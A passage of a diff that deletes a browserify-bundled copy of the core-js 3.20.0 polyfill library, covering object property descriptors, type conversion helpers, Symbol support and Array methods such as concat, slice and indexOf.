Attributes) { - anObject(O); - P = toPropertyKey(P); - anObject(Attributes); - if (IE8_DOM_DEFINE) try { - return $defineProperty(O, P, Attributes); - } catch (error) { /* empty */ } - if ('get' in Attributes || 'set' in Attributes) throw TypeError('Accessors not supported'); - if ('value' in Attributes) O[P] = Attributes.value; - return O; -}; - -},{"../internals/an-object":60,"../internals/descriptors":83,"../internals/global":104,"../internals/ie8-dom-define":108,"../internals/to-property-key":159}],130:[function(require,module,exports){ -var DESCRIPTORS = require('../internals/descriptors'); -var call = require('../internals/function-call'); -var propertyIsEnumerableModule = require('../internals/object-property-is-enumerable'); -var createPropertyDescriptor = require('../internals/create-property-descriptor'); -var toIndexedObject = require('../internals/to-indexed-object'); -var toPropertyKey = require('../internals/to-property-key'); -var hasOwn = require('../internals/has-own-property'); -var IE8_DOM_DEFINE = require('../internals/ie8-dom-define'); - -// eslint-disable-next-line es/no-object-getownpropertydescriptor -- safe -var $getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor; - -// `Object.getOwnPropertyDescriptor` method -// https://tc39.es/ecma262/#sec-object.getownpropertydescriptor -exports.f = DESCRIPTORS ? $getOwnPropertyDescriptor : function getOwnPropertyDescriptor(O, P) { - O = toIndexedObject(O); - P = toPropertyKey(P); - if (IE8_DOM_DEFINE) try { - return $getOwnPropertyDescriptor(O, P); - } catch (error) { /* empty */ } - if (hasOwn(O, P)) return createPropertyDescriptor(!call(propertyIsEnumerableModule.f, O, P), O[P]); -}; - -},{"../internals/create-property-descriptor":79,"../internals/descriptors":83,"../internals/function-call":97,"../internals/has-own-property":105,"../internals/ie8-dom-define":108,"../internals/object-property-is-enumerable":138,"../internals/to-indexed-object":154,"../internals/to-property-key":159}],131:[function(require,module,exports){ -/* eslint-disable es/no-object-getownpropertynames -- safe */ -var classof = require('../internals/classof-raw'); -var toIndexedObject = require('../internals/to-indexed-object'); -var $getOwnPropertyNames = require('../internals/object-get-own-property-names').f; -var arraySlice = require('../internals/array-slice-simple'); - -var windowNames = typeof window == 'object' && window && Object.getOwnPropertyNames - ? Object.getOwnPropertyNames(window) : []; - -var getWindowNames = function (it) { - try { - return $getOwnPropertyNames(it); - } catch (error) { - return arraySlice(windowNames); - } -}; - -// fallback for IE11 buggy Object.getOwnPropertyNames with iframe and window -module.exports.f = function getOwnPropertyNames(it) { - return windowNames && classof(it) == 'Window' - ? getWindowNames(it) - : $getOwnPropertyNames(toIndexedObject(it)); -}; - -},{"../internals/array-slice-simple":67,"../internals/classof-raw":74,"../internals/object-get-own-property-names":132,"../internals/to-indexed-object":154}],132:[function(require,module,exports){ -var internalObjectKeys = require('../internals/object-keys-internal'); -var enumBugKeys = require('../internals/enum-bug-keys'); - -var hiddenKeys = enumBugKeys.concat('length', 'prototype'); - -// `Object.getOwnPropertyNames` method -// https://tc39.es/ecma262/#sec-object.getownpropertynames -// eslint-disable-next-line es/no-object-getownpropertynames -- safe -exports.f = Object.getOwnPropertyNames || function getOwnPropertyNames(O) { - return internalObjectKeys(O, hiddenKeys); -}; - -},{"../internals/enum-bug-keys":92,"../internals/object-keys-internal":136}],133:[function(require,module,exports){ -// eslint-disable-next-line es/no-object-getownpropertysymbols -- safe -exports.f = Object.getOwnPropertySymbols; - -},{}],134:[function(require,module,exports){ -var global = require('../internals/global'); -var hasOwn = require('../internals/has-own-property'); -var isCallable = require('../internals/is-callable'); -var toObject = require('../internals/to-object'); -var sharedKey = require('../internals/shared-key'); -var CORRECT_PROTOTYPE_GETTER = require('../internals/correct-prototype-getter'); - -var IE_PROTO = sharedKey('IE_PROTO'); -var Object = global.Object; -var ObjectPrototype = Object.prototype; - -// `Object.getPrototypeOf` method -// https://tc39.es/ecma262/#sec-object.getprototypeof -module.exports = CORRECT_PROTOTYPE_GETTER ? Object.getPrototypeOf : function (O) { - var object = toObject(O); - if (hasOwn(object, IE_PROTO)) return object[IE_PROTO]; - var constructor = object.constructor; - if (isCallable(constructor) && object instanceof constructor) { - return constructor.prototype; - } return object instanceof Object ? ObjectPrototype : null; -}; - -},{"../internals/correct-prototype-getter":76,"../internals/global":104,"../internals/has-own-property":105,"../internals/is-callable":114,"../internals/shared-key":148,"../internals/to-object":157}],135:[function(require,module,exports){ -var uncurryThis = require('../internals/function-uncurry-this'); - -module.exports = uncurryThis({}.isPrototypeOf); - -},{"../internals/function-uncurry-this":99}],136:[function(require,module,exports){ -var uncurryThis = require('../internals/function-uncurry-this'); -var hasOwn = require('../internals/has-own-property'); -var toIndexedObject = require('../internals/to-indexed-object'); -var indexOf = require('../internals/array-includes').indexOf; -var hiddenKeys = require('../internals/hidden-keys'); - -var push = uncurryThis([].push); - -module.exports = function (object, names) { - var O = toIndexedObject(object); - var i = 0; - var result = []; - var key; - for (key in O) !hasOwn(hiddenKeys, key) && hasOwn(O, key) && push(result, key); - // Don't enum bug & hidden keys - while (names.length > i) if (hasOwn(O, key = names[i++])) { - ~indexOf(result, key) || push(result, key); - } - return result; -}; - -},{"../internals/array-includes":63,"../internals/function-uncurry-this":99,"../internals/has-own-property":105,"../internals/hidden-keys":106,"../internals/to-indexed-object":154}],137:[function(require,module,exports){ -var internalObjectKeys = require('../internals/object-keys-internal'); -var enumBugKeys = require('../internals/enum-bug-keys'); - -// `Object.keys` method -// https://tc39.es/ecma262/#sec-object.keys -// eslint-disable-next-line es/no-object-keys -- safe -module.exports = Object.keys || function keys(O) { - return internalObjectKeys(O, enumBugKeys); -}; - -},{"../internals/enum-bug-keys":92,"../internals/object-keys-internal":136}],138:[function(require,module,exports){ -'use strict'; -var $propertyIsEnumerable = {}.propertyIsEnumerable; -// eslint-disable-next-line es/no-object-getownpropertydescriptor -- safe -var getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor; - -// Nashorn ~ JDK8 bug -var NASHORN_BUG = getOwnPropertyDescriptor && !$propertyIsEnumerable.call({ 1: 2 }, 1); - -// `Object.prototype.propertyIsEnumerable` method implementation -// https://tc39.es/ecma262/#sec-object.prototype.propertyisenumerable -exports.f = NASHORN_BUG ? function propertyIsEnumerable(V) { - var descriptor = getOwnPropertyDescriptor(this, V); - return !!descriptor && descriptor.enumerable; -} : $propertyIsEnumerable; - -},{}],139:[function(require,module,exports){ -/* eslint-disable no-proto -- safe */ -var uncurryThis = require('../internals/function-uncurry-this'); -var anObject = require('../internals/an-object'); -var aPossiblePrototype = require('../internals/a-possible-prototype'); - -// `Object.setPrototypeOf` method -// https://tc39.es/ecma262/#sec-object.setprototypeof -// Works with __proto__ only. Old v8 can't work with null proto objects. -// eslint-disable-next-line es/no-object-setprototypeof -- safe -module.exports = Object.setPrototypeOf || ('__proto__' in {} ? function () { - var CORRECT_SETTER = false; - var test = {}; - var setter; - try { - // eslint-disable-next-line es/no-object-getownpropertydescriptor -- safe - setter = uncurryThis(Object.getOwnPropertyDescriptor(Object.prototype, '__proto__').set); - setter(test, []); - CORRECT_SETTER = test instanceof Array; - } catch (error) { /* empty */ } - return function setPrototypeOf(O, proto) { - anObject(O); - aPossiblePrototype(proto); - if (CORRECT_SETTER) setter(O, proto); - else O.__proto__ = proto; - return O; - }; -}() : undefined); - -},{"../internals/a-possible-prototype":58,"../internals/an-object":60,"../internals/function-uncurry-this":99}],140:[function(require,module,exports){ -'use strict'; -var TO_STRING_TAG_SUPPORT = require('../internals/to-string-tag-support'); -var classof = require('../internals/classof'); - -// `Object.prototype.toString` method implementation -// https://tc39.es/ecma262/#sec-object.prototype.tostring -module.exports = TO_STRING_TAG_SUPPORT ? {}.toString : function toString() { - return '[object ' + classof(this) + ']'; -}; - -},{"../internals/classof":75,"../internals/to-string-tag-support":160}],141:[function(require,module,exports){ -var global = require('../internals/global'); -var call = require('../internals/function-call'); -var isCallable = require('../internals/is-callable'); -var isObject = require('../internals/is-object'); - -var TypeError = global.TypeError; - -// `OrdinaryToPrimitive` abstract operation -// https://tc39.es/ecma262/#sec-ordinarytoprimitive -module.exports = function (input, pref) { - var fn, val; - if (pref === 'string' && isCallable(fn = input.toString) && !isObject(val = call(fn, input))) return val; - if (isCallable(fn = input.valueOf) && !isObject(val = call(fn, input))) return val; - if (pref !== 'string' && isCallable(fn = input.toString) && !isObject(val = call(fn, input))) return val; - throw TypeError("Can't convert object to primitive value"); -}; - -},{"../internals/function-call":97,"../internals/global":104,"../internals/is-callable":114,"../internals/is-object":117}],142:[function(require,module,exports){ -arguments[4][106][0].apply(exports,arguments) -},{"dup":106}],143:[function(require,module,exports){ -var createNonEnumerableProperty = require('../internals/create-non-enumerable-property'); - -module.exports = function (target, key, value, options) { - if (options && options.enumerable) target[key] = value; - else createNonEnumerableProperty(target, key, value); -}; - -},{"../internals/create-non-enumerable-property":78}],144:[function(require,module,exports){ -'use strict'; -var anObject = require('../internals/an-object'); - -// `RegExp.prototype.flags` getter implementation -// https://tc39.es/ecma262/#sec-get-regexp.prototype.flags -module.exports = function () { - var that = anObject(this); - var result = ''; - if (that.global) result += 'g'; - if (that.ignoreCase) result += 'i'; - if (that.multiline) result += 'm'; - if (that.dotAll) result += 's'; - if (that.unicode) result += 'u'; - if (that.sticky) result += 'y'; - return result; -}; - -},{"../internals/an-object":60}],145:[function(require,module,exports){ -var global = require('../internals/global'); - -var TypeError = global.TypeError; - -// `RequireObjectCoercible` abstract operation -// https://tc39.es/ecma262/#sec-requireobjectcoercible -module.exports = function (it) { - if (it == undefined) throw TypeError("Can't call method on " + it); - return it; -}; - -},{"../internals/global":104}],146:[function(require,module,exports){ -var global = require('../internals/global'); - -// eslint-disable-next-line es/no-object-defineproperty -- safe -var defineProperty = Object.defineProperty; - -module.exports = function (key, value) { - try { - defineProperty(global, key, { value: value, configurable: true, writable: true }); - } catch (error) { - global[key] = value; - } return value; -}; - -},{"../internals/global":104}],147:[function(require,module,exports){ -var TO_STRING_TAG_SUPPORT = require('../internals/to-string-tag-support'); -var defineProperty = require('../internals/object-define-property').f; -var createNonEnumerableProperty = require('../internals/create-non-enumerable-property'); -var hasOwn = require('../internals/has-own-property'); -var toString = require('../internals/object-to-string'); -var wellKnownSymbol = require('../internals/well-known-symbol'); - -var TO_STRING_TAG = wellKnownSymbol('toStringTag'); - -module.exports = function (it, TAG, STATIC, SET_METHOD) { - if (it) { - var target = STATIC ? it : it.prototype; - if (!hasOwn(target, TO_STRING_TAG)) { - defineProperty(target, TO_STRING_TAG, { configurable: true, value: TAG }); - } - if (SET_METHOD && !TO_STRING_TAG_SUPPORT) { - createNonEnumerableProperty(target, 'toString', toString); - } - } -}; - -},{"../internals/create-non-enumerable-property":78,"../internals/has-own-property":105,"../internals/object-define-property":129,"../internals/object-to-string":140,"../internals/to-string-tag-support":160,"../internals/well-known-symbol":166}],148:[function(require,module,exports){ -var shared = require('../internals/shared'); -var uid = require('../internals/uid'); - -var keys = shared('keys'); - -module.exports = function (key) { - return keys[key] || (keys[key] = uid(key)); -}; - -},{"../internals/shared":150,"../internals/uid":163}],149:[function(require,module,exports){ -var global = require('../internals/global'); -var setGlobal = require('../internals/set-global'); - -var SHARED = '__core-js_shared__'; -var store = global[SHARED] || setGlobal(SHARED, {}); - -module.exports = store; - -},{"../internals/global":104,"../internals/set-global":146}],150:[function(require,module,exports){ -var IS_PURE = require('../internals/is-pure'); -var store = require('../internals/shared-store'); - -(module.exports = function (key, value) { - return store[key] || (store[key] = value !== undefined ? value : {}); -})('versions', []).push({ - version: '3.20.0', - mode: IS_PURE ? 'pure' : 'global', - copyright: '© 2021 Denis Pushkarev (zloirock.ru)' -}); - -},{"../internals/is-pure":118,"../internals/shared-store":149}],151:[function(require,module,exports){ -var uncurryThis = require('../internals/function-uncurry-this'); -var toIntegerOrInfinity = require('../internals/to-integer-or-infinity'); -var toString = require('../internals/to-string'); -var requireObjectCoercible = require('../internals/require-object-coercible'); - -var charAt = uncurryThis(''.charAt); -var charCodeAt = uncurryThis(''.charCodeAt); -var stringSlice = uncurryThis(''.slice); - -var createMethod = function (CONVERT_TO_STRING) { - return function ($this, pos) { - var S = toString(requireObjectCoercible($this)); - var position = toIntegerOrInfinity(pos); - var size = S.length; - var first, second; - if (position < 0 || position >= size) return CONVERT_TO_STRING ? '' : undefined; - first = charCodeAt(S, position); - return first < 0xD800 || first > 0xDBFF || position + 1 === size - || (second = charCodeAt(S, position + 1)) < 0xDC00 || second > 0xDFFF - ? CONVERT_TO_STRING - ? charAt(S, position) - : first - : CONVERT_TO_STRING - ? stringSlice(S, position, position + 2) - : (first - 0xD800 << 10) + (second - 0xDC00) + 0x10000; - }; -}; - -module.exports = { - // `String.prototype.codePointAt` method - // https://tc39.es/ecma262/#sec-string.prototype.codepointat - codeAt: createMethod(false), - // `String.prototype.at` method - // https://github.com/mathiasbynens/String.prototype.at - charAt: createMethod(true) -}; - -},{"../internals/function-uncurry-this":99,"../internals/require-object-coercible":145,"../internals/to-integer-or-infinity":155,"../internals/to-string":161}],152:[function(require,module,exports){ -var uncurryThis = require('../internals/function-uncurry-this'); -var requireObjectCoercible = require('../internals/require-object-coercible'); -var toString = require('../internals/to-string'); -var whitespaces = require('../internals/whitespaces'); - -var replace = uncurryThis(''.replace); -var whitespace = '[' + whitespaces + ']'; -var ltrim = RegExp('^' + whitespace + whitespace + '*'); -var rtrim = RegExp(whitespace + whitespace + '*$'); - -// `String.prototype.{ trim, trimStart, trimEnd, trimLeft, trimRight }` methods implementation -var createMethod = function (TYPE) { - return function ($this) { - var string = toString(requireObjectCoercible($this)); - if (TYPE & 1) string = replace(string, ltrim, ''); - if (TYPE & 2) string = replace(string, rtrim, ''); - return string; - }; -}; - -module.exports = { - // `String.prototype.{ trimLeft, trimStart }` methods - // https://tc39.es/ecma262/#sec-string.prototype.trimstart - start: createMethod(1), - // `String.prototype.{ trimRight, trimEnd }` methods - // https://tc39.es/ecma262/#sec-string.prototype.trimend - end: createMethod(2), - // `String.prototype.trim` method - // https://tc39.es/ecma262/#sec-string.prototype.trim - trim: createMethod(3) -}; - -},{"../internals/function-uncurry-this":99,"../internals/require-object-coercible":145,"../internals/to-string":161,"../internals/whitespaces":167}],153:[function(require,module,exports){ -var toIntegerOrInfinity = require('../internals/to-integer-or-infinity'); - -var max = Math.max; -var min = Math.min; - -// Helper for a popular repeating case of the spec: -// Let integer be ? ToInteger(index). -// If integer < 0, let result be max((length + integer), 0); else let result be min(integer, length). -module.exports = function (index, length) { - var integer = toIntegerOrInfinity(index); - return integer < 0 ? max(integer + length, 0) : min(integer, length); -}; - -},{"../internals/to-integer-or-infinity":155}],154:[function(require,module,exports){ -// toObject with fallback for non-array-like ES3 strings -var IndexedObject = require('../internals/indexed-object'); -var requireObjectCoercible = require('../internals/require-object-coercible'); - -module.exports = function (it) { - return IndexedObject(requireObjectCoercible(it)); -}; - -},{"../internals/indexed-object":109,"../internals/require-object-coercible":145}],155:[function(require,module,exports){ -var ceil = Math.ceil; -var floor = Math.floor; - -// `ToIntegerOrInfinity` abstract operation -// https://tc39.es/ecma262/#sec-tointegerorinfinity -module.exports = function (argument) { - var number = +argument; - // eslint-disable-next-line no-self-compare -- safe - return number !== number || number === 0 ? 0 : (number > 0 ? floor : ceil)(number); -}; - -},{}],156:[function(require,module,exports){ -var toIntegerOrInfinity = require('../internals/to-integer-or-infinity'); - -var min = Math.min; - -// `ToLength` abstract operation -// https://tc39.es/ecma262/#sec-tolength -module.exports = function (argument) { - return argument > 0 ? min(toIntegerOrInfinity(argument), 0x1FFFFFFFFFFFFF) : 0; // 2 ** 53 - 1 == 9007199254740991 -}; - -},{"../internals/to-integer-or-infinity":155}],157:[function(require,module,exports){ -var global = require('../internals/global'); -var requireObjectCoercible = require('../internals/require-object-coercible'); - -var Object = global.Object; - -// `ToObject` abstract operation -// https://tc39.es/ecma262/#sec-toobject -module.exports = function (argument) { - return Object(requireObjectCoercible(argument)); -}; - -},{"../internals/global":104,"../internals/require-object-coercible":145}],158:[function(require,module,exports){ -var global = require('../internals/global'); -var call = require('../internals/function-call'); -var isObject = require('../internals/is-object'); -var isSymbol = require('../internals/is-symbol'); -var getMethod = require('../internals/get-method'); -var ordinaryToPrimitive = require('../internals/ordinary-to-primitive'); -var wellKnownSymbol = require('../internals/well-known-symbol'); - -var TypeError = global.TypeError; -var TO_PRIMITIVE = wellKnownSymbol('toPrimitive'); - -// `ToPrimitive` abstract operation -// https://tc39.es/ecma262/#sec-toprimitive -module.exports = function (input, pref) { - if (!isObject(input) || isSymbol(input)) return input; - var exoticToPrim = getMethod(input, TO_PRIMITIVE); - var result; - if (exoticToPrim) { - if (pref === undefined) pref = 'default'; - result = call(exoticToPrim, input, pref); - if (!isObject(result) || isSymbol(result)) return result; - throw TypeError("Can't convert object to primitive value"); - } - if (pref === undefined) pref = 'number'; - return ordinaryToPrimitive(input, pref); -}; - -},{"../internals/function-call":97,"../internals/get-method":103,"../internals/global":104,"../internals/is-object":117,"../internals/is-symbol":119,"../internals/ordinary-to-primitive":141,"../internals/well-known-symbol":166}],159:[function(require,module,exports){ -var toPrimitive = require('../internals/to-primitive'); -var isSymbol = require('../internals/is-symbol'); - -// `ToPropertyKey` abstract operation -// https://tc39.es/ecma262/#sec-topropertykey -module.exports = function (argument) { - var key = toPrimitive(argument, 'string'); - return isSymbol(key) ? key : key + ''; -}; - -},{"../internals/is-symbol":119,"../internals/to-primitive":158}],160:[function(require,module,exports){ -var wellKnownSymbol = require('../internals/well-known-symbol'); - -var TO_STRING_TAG = wellKnownSymbol('toStringTag'); -var test = {}; - -test[TO_STRING_TAG] = 'z'; - -module.exports = String(test) === '[object z]'; - -},{"../internals/well-known-symbol":166}],161:[function(require,module,exports){ -var global = require('../internals/global'); -var classof = require('../internals/classof'); - -var String = global.String; - -module.exports = function (argument) { - if (classof(argument) === 'Symbol') throw TypeError('Cannot convert a Symbol value to a string'); - return String(argument); -}; - -},{"../internals/classof":75,"../internals/global":104}],162:[function(require,module,exports){ -var global = require('../internals/global'); - -var String = global.String; - -module.exports = function (argument) { - try { - return String(argument); - } catch (error) { - return 'Object'; - } -}; - -},{"../internals/global":104}],163:[function(require,module,exports){ -var uncurryThis = require('../internals/function-uncurry-this'); - -var id = 0; -var postfix = Math.random(); -var toString = uncurryThis(1.0.toString); - -module.exports = function (key) { - return 'Symbol(' + (key === undefined ? '' : key) + ')_' + toString(++id + postfix, 36); -}; - -},{"../internals/function-uncurry-this":99}],164:[function(require,module,exports){ -/* eslint-disable es/no-symbol -- required for testing */ -var NATIVE_SYMBOL = require('../internals/native-symbol'); - -module.exports = NATIVE_SYMBOL - && !Symbol.sham - && typeof Symbol.iterator == 'symbol'; - -},{"../internals/native-symbol":124}],165:[function(require,module,exports){ -var wellKnownSymbol = require('../internals/well-known-symbol'); - -exports.f = wellKnownSymbol; - -},{"../internals/well-known-symbol":166}],166:[function(require,module,exports){ -var global = require('../internals/global'); -var shared = require('../internals/shared'); -var hasOwn = require('../internals/has-own-property'); -var uid = require('../internals/uid'); -var NATIVE_SYMBOL = require('../internals/native-symbol'); -var USE_SYMBOL_AS_UID = require('../internals/use-symbol-as-uid'); - -var WellKnownSymbolsStore = shared('wks'); -var Symbol = global.Symbol; -var symbolFor = Symbol && Symbol['for']; -var createWellKnownSymbol = USE_SYMBOL_AS_UID ? Symbol : Symbol && Symbol.withoutSetter || uid; - -module.exports = function (name) { - if (!hasOwn(WellKnownSymbolsStore, name) || !(NATIVE_SYMBOL || typeof WellKnownSymbolsStore[name] == 'string')) { - var description = 'Symbol.' + name; - if (NATIVE_SYMBOL && hasOwn(Symbol, name)) { - WellKnownSymbolsStore[name] = Symbol[name]; - } else if (USE_SYMBOL_AS_UID && symbolFor) { - WellKnownSymbolsStore[name] = symbolFor(description); - } else { - WellKnownSymbolsStore[name] = createWellKnownSymbol(description); - } - } return WellKnownSymbolsStore[name]; -}; - -},{"../internals/global":104,"../internals/has-own-property":105,"../internals/native-symbol":124,"../internals/shared":150,"../internals/uid":163,"../internals/use-symbol-as-uid":164}],167:[function(require,module,exports){ -// a string of all valid unicode whitespaces -module.exports = '\u0009\u000A\u000B\u000C\u000D\u0020\u00A0\u1680\u2000\u2001\u2002' + - '\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028\u2029\uFEFF'; - -},{}],168:[function(require,module,exports){ -'use strict'; -var $ = require('../internals/export'); -var global = require('../internals/global'); -var fails = require('../internals/fails'); -var isArray = require('../internals/is-array'); -var isObject = require('../internals/is-object'); -var toObject = require('../internals/to-object'); -var lengthOfArrayLike = require('../internals/length-of-array-like'); -var createProperty = require('../internals/create-property'); -var arraySpeciesCreate = require('../internals/array-species-create'); -var arrayMethodHasSpeciesSupport = require('../internals/array-method-has-species-support'); -var wellKnownSymbol = require('../internals/well-known-symbol'); -var V8_VERSION = require('../internals/engine-v8-version'); - -var IS_CONCAT_SPREADABLE = wellKnownSymbol('isConcatSpreadable'); -var MAX_SAFE_INTEGER = 0x1FFFFFFFFFFFFF; -var MAXIMUM_ALLOWED_INDEX_EXCEEDED = 'Maximum allowed index exceeded'; -var TypeError = global.TypeError; - -// We can't use this feature detection in V8 since it causes -// deoptimization and serious performance degradation -// https://github.com/zloirock/core-js/issues/679 -var IS_CONCAT_SPREADABLE_SUPPORT = V8_VERSION >= 51 || !fails(function () { - var array = []; - array[IS_CONCAT_SPREADABLE] = false; - return array.concat()[0] !== array; -}); - -var SPECIES_SUPPORT = arrayMethodHasSpeciesSupport('concat'); - -var isConcatSpreadable = function (O) { - if (!isObject(O)) return false; - var spreadable = O[IS_CONCAT_SPREADABLE]; - return spreadable !== undefined ? !!spreadable : isArray(O); -}; - -var FORCED = !IS_CONCAT_SPREADABLE_SUPPORT || !SPECIES_SUPPORT; - -// `Array.prototype.concat` method -// https://tc39.es/ecma262/#sec-array.prototype.concat -// with adding support of @@isConcatSpreadable and @@species -$({ target: 'Array', proto: true, forced: FORCED }, { - // eslint-disable-next-line no-unused-vars -- required for `.length` - concat: function concat(arg) { - var O = toObject(this); - var A = arraySpeciesCreate(O, 0); - var n = 0; - var i, k, length, len, E; - for (i = -1, length = arguments.length; i < length; i++) { - E = i === -1 ? O : arguments[i]; - if (isConcatSpreadable(E)) { - len = lengthOfArrayLike(E); - if (n + len > MAX_SAFE_INTEGER) throw TypeError(MAXIMUM_ALLOWED_INDEX_EXCEEDED); - for (k = 0; k < len; k++, n++) if (k in E) createProperty(A, n, E[k]); - } else { - if (n >= MAX_SAFE_INTEGER) throw TypeError(MAXIMUM_ALLOWED_INDEX_EXCEEDED); - createProperty(A, n++, E); - } - } - A.length = n; - return A; - } -}); - -},{"../internals/array-method-has-species-support":65,"../internals/array-species-create":71,"../internals/create-property":80,"../internals/engine-v8-version":89,"../internals/export":93,"../internals/fails":94,"../internals/global":104,"../internals/is-array":113,"../internals/is-object":117,"../internals/length-of-array-like":123,"../internals/to-object":157,"../internals/well-known-symbol":166}],169:[function(require,module,exports){ -'use strict'; -var $ = require('../internals/export'); -var forEach = require('../internals/array-for-each'); - -// `Array.prototype.forEach` method -// https://tc39.es/ecma262/#sec-array.prototype.foreach -// eslint-disable-next-line es/no-array-prototype-foreach -- safe -$({ target: 'Array', proto: true, forced: [].forEach != forEach }, { - forEach: forEach -}); - -},{"../internals/array-for-each":61,"../internals/export":93}],170:[function(require,module,exports){ -var $ = require('../internals/export'); -var from = require('../internals/array-from'); -var checkCorrectnessOfIteration = require('../internals/check-correctness-of-iteration'); - -var INCORRECT_ITERATION = !checkCorrectnessOfIteration(function (iterable) { - // eslint-disable-next-line es/no-array-from -- required for testing - Array.from(iterable); -}); - -// `Array.from` method -// https://tc39.es/ecma262/#sec-array.from -$({ target: 'Array', stat: true, forced: INCORRECT_ITERATION }, { - from: from -}); - -},{"../internals/array-from":62,"../internals/check-correctness-of-iteration":73,"../internals/export":93}],171:[function(require,module,exports){ -'use strict'; -/* eslint-disable es/no-array-prototype-indexof -- required for testing */ -var $ = require('../internals/export'); -var uncurryThis = require('../internals/function-uncurry-this'); -var $IndexOf = require('../internals/array-includes').indexOf; -var arrayMethodIsStrict = require('../internals/array-method-is-strict'); - -var un$IndexOf = uncurryThis([].indexOf); - -var NEGATIVE_ZERO = !!un$IndexOf && 1 / un$IndexOf([1], 1, -0) < 0; -var STRICT_METHOD = arrayMethodIsStrict('indexOf'); - -// `Array.prototype.indexOf` method -// https://tc39.es/ecma262/#sec-array.prototype.indexof -$({ target: 'Array', proto: true, forced: NEGATIVE_ZERO || !STRICT_METHOD }, { - indexOf: function indexOf(searchElement /* , fromIndex = 0 */) { - var fromIndex = arguments.length > 1 ? arguments[1] : undefined; - return NEGATIVE_ZERO - // convert -0 to +0 - ? un$IndexOf(this, searchElement, fromIndex) || 0 - : $IndexOf(this, searchElement, fromIndex); - } -}); - -},{"../internals/array-includes":63,"../internals/array-method-is-strict":66,"../internals/export":93,"../internals/function-uncurry-this":99}],172:[function(require,module,exports){ -var $ = require('../internals/export'); -var isArray = require('../internals/is-array'); - -// `Array.isArray` method -// https://tc39.es/ecma262/#sec-array.isarray -$({ target: 'Array', stat: true }, { - isArray: isArray -}); - -},{"../internals/export":93,"../internals/is-array":113}],173:[function(require,module,exports){ -'use strict'; -var toIndexedObject = require('../internals/to-indexed-object'); -var addToUnscopables = require('../internals/add-to-unscopables'); -var Iterators = require('../internals/iterators'); -var InternalStateModule = require('../internals/internal-state'); -var defineProperty = require('../internals/object-define-property').f; -var defineIterator = require('../internals/define-iterator'); -var IS_PURE = require('../internals/is-pure'); -var DESCRIPTORS = require('../internals/descriptors'); - -var ARRAY_ITERATOR = 'Array Iterator'; -var setInternalState = InternalStateModule.set; -var getInternalState = InternalStateModule.getterFor(ARRAY_ITERATOR); - -// `Array.prototype.entries` method -// https://tc39.es/ecma262/#sec-array.prototype.entries -// `Array.prototype.keys` method -// https://tc39.es/ecma262/#sec-array.prototype.keys -// `Array.prototype.values` method -// https://tc39.es/ecma262/#sec-array.prototype.values -// `Array.prototype[@@iterator]` method -// https://tc39.es/ecma262/#sec-array.prototype-@@iterator -// `CreateArrayIterator` internal method -// https://tc39.es/ecma262/#sec-createarrayiterator -module.exports = defineIterator(Array, 'Array', function (iterated, kind) { - setInternalState(this, { - type: ARRAY_ITERATOR, - target: toIndexedObject(iterated), // target - index: 0, // next index - kind: kind // kind - }); -// `%ArrayIteratorPrototype%.next` method -// https://tc39.es/ecma262/#sec-%arrayiteratorprototype%.next -}, function () { - var state = getInternalState(this); - var target = state.target; - var kind = state.kind; - var index = state.index++; - if (!target || index >= target.length) { - state.target = undefined; - return { value: undefined, done: true }; - } - if (kind == 'keys') return { value: index, done: false }; - if (kind == 'values') return { value: target[index], done: false }; - return { value: [index, target[index]], done: false }; -}, 'values'); - -// argumentsList[@@iterator] is %ArrayProto_values% -// https://tc39.es/ecma262/#sec-createunmappedargumentsobject -// https://tc39.es/ecma262/#sec-createmappedargumentsobject -var values = Iterators.Arguments = Iterators.Array; - -// https://tc39.es/ecma262/#sec-array.prototype-@@unscopables -addToUnscopables('keys'); -addToUnscopables('values'); -addToUnscopables('entries'); - -// V8 ~ Chrome 45- bug -if (!IS_PURE && DESCRIPTORS && values.name !== 'values') try { - defineProperty(values, 'name', { value: 'values' }); -} catch (error) { /* empty */ } - -},{"../internals/add-to-unscopables":59,"../internals/define-iterator":81,"../internals/descriptors":83,"../internals/internal-state":111,"../internals/is-pure":118,"../internals/iterators":122,"../internals/object-define-property":129,"../internals/to-indexed-object":154}],174:[function(require,module,exports){ -'use strict'; -var $ = require('../internals/export'); -var global = require('../internals/global'); -var isArray = require('../internals/is-array'); -var isConstructor = require('../internals/is-constructor'); -var isObject = require('../internals/is-object'); -var toAbsoluteIndex = require('../internals/to-absolute-index'); -var lengthOfArrayLike = require('../internals/length-of-array-like'); -var toIndexedObject = require('../internals/to-indexed-object'); -var createProperty = require('../internals/create-property'); -var wellKnownSymbol = require('../internals/well-known-symbol'); -var arrayMethodHasSpeciesSupport = require('../internals/array-method-has-species-support'); -var un$Slice = require('../internals/array-slice'); - -var HAS_SPECIES_SUPPORT = arrayMethodHasSpeciesSupport('slice'); - -var SPECIES = wellKnownSymbol('species'); -var Array = global.Array; -var max = Math.max; - -// `Array.prototype.slice` method -// https://tc39.es/ecma262/#sec-array.prototype.slice -// fallback for not array-like ES3 strings and DOM objects -$({ target: 'Array', proto: true, forced: !HAS_SPECIES_SUPPORT }, { - slice: function slice(start, end) { - var O = toIndexedObject(this); - var length = lengthOfArrayLike(O); - var k = toAbsoluteIndex(start, length); - var fin = toAbsoluteIndex(end === undefined ? length : end, length); - // inline `ArraySpeciesCreate` for usage native `Array#slice` where it's possible - var Constructor, result, n; - if (isArray(O)) { - Constructor = O.constructor; - // cross-realm fallback - if (isConstructor(Constructor) && (Constructor === Array || isArray(Constructor.prototype))) { - Constructor = undefined; - } else if (isObject(Constructor)) { - Constructor = Constructor[SPECIES]; - if (Constructor === null) Constructor = undefined; - } - if (Constructor === Array || Constructor === undefined) { - return un$Slice(O, k, fin); - } - } - result = new (Constructor === undefined ? Array : Constructor)(max(fin - k, 0)); - for (n = 0; k < fin; k++, n++) if (k in O) createProperty(result, n, O[k]); - result.length = n; - return result; - } -}); - -},{"../internals/array-method-has-species-support":65,"../internals/array-slice":68,"../internals/create-property":80,"../internals/export":93,"../internals/global":104,"../internals/is-array":113,"../internals/is-constructor":115,"../internals/is-object":117,"../internals/length-of-array-like":123,"../internals/to-absolute-index":153,"../internals/to-indexed-object":154,"../internals/well-known-symbol":166}],175:[function(require,module,exports){ -'use strict'; -var $ = require('../internals/export'); -var uncurryThis = require('../internals/function-uncurry-this'); -var aCallable = require('../internals/a-callable'); -var toObject = require('../internals/to-object'); -var lengthOfArrayLike = require('../internals/length-of-array-like'); -var toString = require('../internals/to-string'); -var fails = require('../internals/fails'); -var internalSort = 